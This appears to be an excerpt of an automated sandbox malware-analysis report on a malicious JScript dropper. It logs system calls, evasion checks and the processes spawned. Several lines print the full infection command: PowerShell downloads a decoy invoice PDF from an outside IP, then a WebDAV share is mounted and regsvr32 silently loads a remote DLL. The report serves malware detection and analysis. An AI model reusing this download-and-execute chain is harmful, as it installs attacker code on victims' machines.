Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6233.js.csv");ITextStream.WriteLine(" entry:7983 f:kulmgz");ITextStream.WriteLine(" exec:2 f:kulmgz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4415			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5241			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2436	Thread sleep count: 4415 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3856	Thread sleep count: 5241 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2636	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7124	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3176	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7120	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5588	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7172	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2117919821.000001F37071B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107631748.000001F37071B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.2117696455.000001F3706B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.2117919821.000001F37071B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107631748.000001F37071B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3341382159.000002003B25A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3340085543.0000020039E27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
